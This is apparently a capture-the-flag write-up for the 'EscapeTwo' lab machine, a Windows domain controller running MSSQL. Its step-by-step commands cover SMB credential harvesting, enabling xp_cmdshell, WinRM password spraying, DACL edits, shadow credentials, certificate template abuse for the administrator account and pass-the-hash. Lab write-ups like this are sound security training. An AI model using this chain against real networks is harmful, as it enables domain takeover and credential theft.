EscapeTwo¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.11.51

This is a Windows Domain Controller running MSSQL.

Enumeration¶

SMB¶

Using the provided credentials rose / KxEPkKe6R8su, we connect to the SMB share:

smbclientng --host 10.10.11.51 -d sequel.htb -u rose -p KxEPkKe6R8su

The Accounting share contains an Excel file accounting_2024.xlsx. Extracting the shared strings reveals a credential table:

Exploitation¶

MSSQL with sa¶

The sa account has sysadmin access on the SQL server:

python3 /usr/bin/mssqlclient.py -dc-ip 10.10.11.51 sequel.htb/sa:MSSQLP@ssw0rd!@10.10.11.51

Enable xp_cmdshell and enumerate SQL configuration:

SQL (sa dbo@master)> enable_xp_cmdshell
SQL (sa dbo@master)> xp_cmdshell type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI

The configuration file reveals the SQL service account password for sql_svc.

Credential Reuse - WinRM¶

The sql_svc password is reused for the ryan account:

nxc winrm 10.10.11.51 -u users.txt -p pass.txt -d sequel.htb

[+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

Connect via Evil-WinRM:

evil-winrm -u ryan -p WqSZAF6CysDQbGb3 -i 10.10.11.51

Privilege Escalation¶

ADCS Abuse via Shadow Credentials¶

The ryan user has permissions over the ca_svc (Certificate Authority) account. We abuse this via shadow credentials to obtain a certificate for ca_svc.

Step 1 - Take ownership and grant DCSync rights:

owneredit.py -action write -new-owner "ryan" -target "ca_svc" "sequel.htb"/"ryan":"WqSZAF6CysDQbGb3"
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc "sequel.htb"/"ryan":"WqSZAF6CysDQbGb3"

Step 2 - Shadow credentials to get ca_svc NT hash:

certipy shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -account ca_svc

[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

Step 3 - Request a certificate as ca_svc for the administrator UPN using the vulnerable template:

certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA \
  -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51

[*] Saved certificate and private key to 'administrator_10.pfx'

Step 4 - Authenticate with the certificate:

certipy auth -pfx administrator_10.pfx -domain sequel.htb

[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Root Access¶

evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i 10.10.11.51

Flags¶

user.txt: *** root.txt: ***